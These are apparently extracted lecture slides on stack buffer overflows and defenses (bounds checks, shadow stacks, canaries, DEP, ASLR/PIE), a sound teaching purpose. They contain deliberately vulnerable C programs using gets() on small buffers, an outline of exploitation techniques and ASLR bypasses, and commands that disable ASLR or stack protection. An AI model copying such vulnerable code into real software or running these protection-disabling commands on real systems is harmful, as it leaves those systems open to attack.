int printsecret(int i, int j)
{

if (i == 0x12345678 && j == 0xdeadbeef)

print_flag();

else

printf("I pity the fool!\n");

exit(0);} 

int vulfoo()

{

char buf[6];

gets(buf); 

return 0;}

int main(int argc, char *argv[])

{

printf("The addr of printsecret is %p\n", 

printsecret);

vulfoo();

printf("I pity the fool!\n");

}

ebp, esp

RET

AAAA: saved ebp

AAAA

buf

i: Parameter 1

i: Parameter 2
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Buffer Overflow Example: overflowret3
int printsecret(int i, int j)

{

if (i == 0x12345678 && j == 0xdeadbeef) 

print_flag();

else

printf("I pity the fool!\n");

exit(0);} 

int vulfoo()

{

char buf[6];

gets(buf); 

return 0;}

int main(int argc, char *argv[])

{
printf("The addr of printsecret is %p\n", printsecret); 

vulfoo();

printf("I pity the fool!\n");

}



|  116

● Background

● Stack-based buffer overflow

● Buffer overflow attacks

● Buffer overflow defenses

Objectives
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● Local variables

○ Data-only Attack

● Saved ebp
○ Fake function stack frame

● Return address

○ Return to shellcode

○ ROP

● Callee’s parameters
○ Return to a function with parameters

○ Return to libc

● …

Parameter 1

Parameter 2

RET

Parameter 3

Saved ebp (caller)

Local variables (callee)

…

Caller’s stack 

frame

(inactive)

…

Callee’s stack 

frame

(active)

So far…
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● Stack-based buffer overflow defenses
■ Base and bound check

■ Shadow stack

■ Stack Canary/Cookie

■ Data execution prevention (DEP, NX, etc.)

■ ASLR

Next
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Take control of the victim’s machine
● Hijack the execution flow of a running program

● Execute arbitrary code

Requirements
● Inject attack code or attack parameters

● Abuse vulnerability and modify memory such that control flow is redirected

Change of control flow
● alter a code pointer (RET, function pointer, etc.)

● change memory region that should not be accessed

Attacker’s Goal
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Overflow some code pointer

● Overflow memory region on the stack

○ overflow function return address

○ overflow function frame (base) pointer

○ overflow longjmp buffer

● Overflow (dynamically allocated) memory region on the heap

● Overflow function pointers

○ stack, heap

Overflow Types
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Can we exploit other pointers as well?

● Memory that is used in a value to influence mathematical operations, conditional 

jumps.

● Memory that is used as a read pointer (or offset), allowing us to force the program 

to access arbitrary memory.

● Memory that is used as a write pointer (or offset), allowing us to force the program 

to overwrite arbitrary memory.

● Memory that is used as a code pointer (or offset), allowing us to redirect program 

execution!

Typically, you use one or more vulnerabilities to achieve multiple of these effects.

Other pointers?
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● Prevent buffer overflow

○ A direct defense

○ Could be accurate but could be slow

○ Good in theory, but not practical in real world

● Make exploit harder
○ An indirect defense

○ Could be inaccurate but could be fast

○ Simple in theory, widely deployed in real world 

Defenses
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● Base and bound check

○ Prevent buffer overflow!

○ A direct defense

● Stack Canary/Cookie

○ An indirect defense

○ Prevent overwriting return address

● Data execution prevention (DEP, NX, etc.)

○ An indirect defense

○ Prevent using of shellcode on stack

…

Examples
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Defense-1:
Base and bound check
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char *a

• char *a_base;

• char *a_bound;

a = (char*)malloc(512)

• a_base = a;

• a_bound = a+512

Access must be between [a_base, a_bound)

• a[0], a[1], a[2], ..., and a[511] are OK

• a[512] NOT OK

• a[-1] NOT OK

Spatial Memory Safety – Base and Bound check
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Propagation

• char *b = a;

• b_base = a_base;

• b_bound = a_bound;

• char *c = &b[2];

• c_base = b_base;

• c_bound = b_bound;

Spatial Memory Safety – Base and Bound check
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+2x overhead on storing a pointer

• char *a

• char *a_base;

• char *a_bound;

+2x overhead on assignment

• char *b = a;

• b_base = a_base;

• b_bound = a_bound;

+2 comparisons added on access

• c[i]

• if(c+i >= c_base)

• if(c+i < c_bound)

Overhead - Based and Bound
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PLDI 09
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ASPLOS 09
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Defense-2:
Shadow Stack
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Shadow Stack

https://people.eecs.berkeley.edu/~daw/papers/shadow-asiaccs15.pdf
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Traditional Shadow Stack
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Traditional Shadow Stack
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Overhead - Traditional Shadow Stack

If no attack:
 6 more instructions
 2 memory moves
 1 memory compare
 1 conditional jmp

Per function
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Shadow Stack

https://people.eecs.berkeley.edu/~daw/papers/shadow-asiaccs15.pdf
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Parallel Shadow Stack
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The overhead is roughly 10% for a traditional shadow stack. 

The parallel shadow stack overhead is 3.5%.

Overhead Comparison
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Defense-3:
Stack Cookie; Stack Canary

specific to sequential stack overflow
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A compiler technique that attempts to eliminate buffer overflow vulnerabilities 

● No source code changes 

● Patch for the function prologue and epilogue 

○ Prologue: push an additional value into the stack (canary)

○ Epilogue: check the canary value hasn’t changed. If changed, exit.

StackGuard
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int vulfoo()

{

  char buf[30];

  gets(buf);

  return 0;

}

int main(int argc, char *argv[])

{

  vulfoo();

  printf("I pity the fool!\n");  

}

Buffer Overflow Example: overflowret4
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With and without Canary 32bit

000011ed <vulfoo>:
    11ed:       f3 0f 1e fb             endbr32 

    11f1:       55                      push   ebp

    11f2:       89 e5                   mov    ebp,esp
    11f4:       83 ec 38                sub    esp,0x38

    11f7:       83 ec 0c                sub    esp,0xc

    11fa:       8d 45 d0                lea    eax,[ebp-0x30]
    11fd:       50                      push   eax

    11fe:       e8 fc ff ff ff          call   11ff <vulfoo+0x12>

    1203:       83 c4 10                add    esp,0x10
    1206:       b8 00 00 00 00          mov    eax,0x0

    120b:       c9                      leave  

    120c:       c3                      ret    

0000120d <vulfoo>:
    120d:       f3 0f 1e fb             endbr32 

    1211:       55                      push   ebp

    1212:       89 e5                   mov    ebp,esp
    1214:       53                      push   ebx

    1215:       83 ec 34                sub    esp,0x34

    1218:       e8 81 00 00 00          call   129e <__x86.get_pc_thunk.ax>
    121d:       05 b3 2d 00 00          add    eax,0x2db3

    1222:       65 8b 0d 14 00 00 00    mov    ecx,DWORD PTR gs:0x14

    1229:       89 4d f4                mov    DWORD PTR [ebp-0xc],ecx
    122c:       31 c9                   xor    ecx,ecx

    122e:       83 ec 0c                sub    esp,0xc

    1231:       8d 55 cc                lea    edx,[ebp-0x34]
    1234:       52                      push   edx

    1235:       89 c3                   mov    ebx,eax

    1237:       e8 54 fe ff ff          call   1090 <gets@plt>
    123c:       83 c4 10                add    esp,0x10

    123f:       b8 00 00 00 00          mov    eax,0x0

    1244:       8b 4d f4                mov    ecx,DWORD PTR [ebp-0xc]
    1247:       65 33 0d 14 00 00 00    xor    ecx,DWORD PTR gs:0x14

    124e:       74 05                   je     1255 <vulfoo+0x48>

    1250:       e8 db 00 00 00          call   1330 <__stack_chk_fail_local>
    1255:       8b 5d fc                mov    ebx,DWORD PTR [ebp-0x4]

    1258:       c9                      leave  

    1259:       c3                      ret   

or4

or4_cookie
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With and without Canary

or4 or4_cookie

...

...

RET

Saved ebp

buf 0x30

...

...

RET

Saved ebp

buf

0x34

ebp ebp

Canary
ebp - 0xc

0x28 = 40
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With and without Canary 64bit

0000000000001169 <vulfoo>:
    1169:       f3 0f 1e fa             endbr64 

    116d:       55                      push   rbp

    116e:       48 89 e5                mov    rbp,rsp
    1171:       48 83 ec 30             sub    rsp,0x30

    1175:       48 8d 45 d0             lea    rax,[rbp-0x30]

    1179:       48 89 c7                mov    rdi,rax
    117c:       b8 00 00 00 00          mov    eax,0x0

    1181:       e8 ea fe ff ff          call   1070 <gets@plt>

    1186:       b8 00 00 00 00          mov    eax,0x0
    118b:       c9                      leave  

    118c:       c3                      ret  

0000000000401176 <vulfoo>:
  401176:       f3 0f 1e fa             endbr64 

  40117a:       55                      push   rbp

  40117b:       48 89 e5                mov    rbp,rsp
  40117e:       48 83 ec 30             sub    rsp,0x30

  401182:       64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28

  401189:       00 00 
  40118b:       48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax

  40118f:       31 c0                   xor    eax,eax

  401191:       48 8d 45 d0             lea    rax,[rbp-0x30]
  401195:       48 89 c7                mov    rdi,rax

  401198:       b8 00 00 00 00          mov    eax,0x0

  40119d:       e8 de fe ff ff          call   401080 <gets@plt>
  4011a2:       b8 00 00 00 00          mov    eax,0x0

  4011a7:       48 8b 55 f8             mov    rdx,QWORD PTR [rbp-0x8]

  4011ab:       64 48 33 14 25 28 00    xor    rdx,QWORD PTR fs:0x28
  4011b2:       00 00 

  4011b4:       74 05                   je     4011bb <vulfoo+0x45>

  4011b6:       e8 b5 fe ff ff          call   401070 <__stack_chk_fail@plt>
  4011bb:       c9                      leave  

  4011bc:       c3                      ret    

or464

or4_cookie_64
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Overhead - Canary

If no attack:
 6 more instructions
 2 memory moves
 1 memory compare
 1 conditional jmp

Per function
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https://elixir.bootlin.com/glibc/glibc-2.38/source/csu/libc-start.c#L288
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Defense - 4:
Data Execution Prevention 

(DEP, W⨁X, NX)
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Older CPUs: Read permission on a page implies execution. So all readable 
memory was executable.

AMD64 – introduced NX bit (No-eXecute in 2003) 

Windows Supporting DEP from Windows XP SP2 (in 2004)

Linux Supporting NX since 2.6.8 (in 2004)

Older CPUs
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gcc parameter -z execstack to disable this protection
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Can still corrupt stack or function pointers or critical data on the heap 

As long as RET (saved EIP) points into legit code section, W⊕X protection will 

not block control transfer

What DEP cannot prevent
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Defense - 5:
Address Space Layout Randomization 

(ASLR)
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2001 - Linux PaX patch
2003 - OpenBSD
2005 - Linux 2.6.12 user-space
2007 - Windows Vista kernel and user-space
2011 - iOS 5 user-space
2011 - Android 4.0 ICS user-space
2012 - OS X 10.8 kernel-space
2012 - iOS 6 kernel-space
2014 - Linux 3.14 kernel-space

Not supported well in embedded devices.

ASLR History
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Attackers need to know which address to control (jump/overwrite)

● Stack - shellcode

● Library - system()

Defense: let’s randomize it!

● Attackers do not know where to jump...

Address Space Layout Randomization (ASLR)
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Position-independent code (PIC) or position-independent executable 

(PIE) is a body of machine code that executes properly regardless of 

its absolute address.

Position Independent Executable (PIE) 
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Process Address Space in General
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Traditional Process Address Space - Static Program

Stack

heap

.bss

.data

.textFixed 

location
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Traditional Process Address Space - Static Program w/shared Libs

Stack

heap

.bss and .data

.text
Fixed 

location

.bss and .data

.text

.bss and .data

.text

User code and data

Runtime linker: ld.so

libc.so

Fixed 

location

Fixed 

location
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ASLR Process Address Space - w/o PIE

Stack

heap

.bss and .data

.text
Fixed 

location

.bss and .data

.text

.bss and .data

.text

User code and data

Runtime linker: ld.so

libc.so

Random 

location

Random 

location
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ASLR Process Address Space - PIE

Stack

heap

.bss and .data

.text
Random 

location

.bss and .data

.text

.bss and .data

.text

User code and data

Runtime linker: ld.so

libc.so

Random 

location

Random 

location
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code/aslr1
int k = 50;
int l;
char *p = "hello world";

int add(int a, int b)
{
    int i = 10;
    i = a + b;
    printf("The address of i is %p\n", &i);
  
    return i;
}

int sub(int d, int c)
{
    int j = 20;
    j = d - c;
    printf("The address of j is %p\n", &j);
  
    return j; 
}

int compute(int a, int b, int c)
{
    return sub(add(a, b), c) * k;
}

int main(int argc, char *argv[])
{
    printf("===== Libc function addresses =====\n");
    printf("The address of printf is %p\n", printf);
    printf("The address of memcpy is %p\n", memcpy);
    printf("The distance between printf and memcpy is %x\n", (int)printf - (int)memcpy);
    printf("The address of system is %p\n", system);
    printf("The distance between printf and system is %x\n", (int)printf - (int)system);
    printf("===== Module function addresses =====\n");  
    printf("The address of main is %p\n", main);   
    printf("The address of add is %p\n", add); 
    printf("The distance between main and add is %x\n", (int)main - (int)add);
    printf("The address of sub is %p\n", sub);
    printf("The distance between main and sub is %x\n", (int)main - (int)sub); 
    printf("The address of compute is %p\n", compute);
    printf("The distance between main and compute is %x\n", (int)main - (int)compute);

    printf("===== Global initialized variable addresses =====\n");  
    printf("The address of k is %p\n", &k);
    printf("The address of p is %p\n", p);
    printf("The distance between k and p is %x\n", (int)&k - (int)p); 
 
    printf("===== Global uninitialized variable addresses =====\n");  
    printf("The address of l is %p\n", &l);
    printf("The distance between k and l is %x\n", (int)&k - (int)l);  
   
    printf("===== Local variable addresses =====\n");   
    return compute(9, 6, 4);   
}
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Check the symbols

nm | sort
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● <1% in 64 bit
Access all strings via relative address from current rip
lea rdi, [rip+0x23423]

● ~3% in 32 bit
Cannot address using eip
Call __86.get_pc_thunk.xx functions

PIE Overhead
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Disable:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

  Enable:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Temporarily enable and disable ASLR 
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ASLR Enabled; 
PIE; 32 bit
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ASLR Enabled; 
PIE; 64 bit
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● Address leak: certain vulnerabilities allow attackers to obtain the addresses 
required for an attack, which enables bypassing ASLR.

● Relative addressing: some vulnerabilities allow attackers to obtain access to 
data relative to a particular address, thus bypassing ASLR.

● Implementation weaknesses: some vulnerabilities allow attackers to guess 
addresses due to low entropy or faults in a particular ASLR implementation.

● Side channels of hardware operation: certain properties of processor 
operation may allow bypassing ASLR.

Bypass ASLR
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NDSS 2016
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